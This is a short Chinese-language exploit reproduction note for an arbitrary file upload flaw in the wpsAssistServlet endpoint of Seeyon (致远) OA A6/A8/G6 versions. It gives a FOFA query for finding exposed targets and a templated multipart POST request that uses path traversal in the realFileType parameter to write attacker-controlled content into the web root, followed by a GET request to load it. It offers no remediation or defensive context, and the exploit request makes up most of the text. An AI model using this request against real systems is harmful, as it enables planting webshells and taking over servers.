致远OA-wpsAssistServlet 接口存在任意文件上传

漏洞描述

影响范围

致远OA A6、A8、A8N (V8.0SP2，V8.1，V8.1SP1)
致远OA G6、G6N (V8.1、V8.1SP1)

复现

fofa：app=“致远互联-OA”

POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/{{file_name}}&fileId=2 HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b
Connection: close
Content-Length: 192

--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="upload"; filename="{{file_content}}.xls"
Content-Type: application/vnd.ms-excel

{{file_content}}
--59229605f98b8cf290a7b8908b34616b--



GET /{{file_name}} HTTP/1.1
Host: {{Hostname}}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17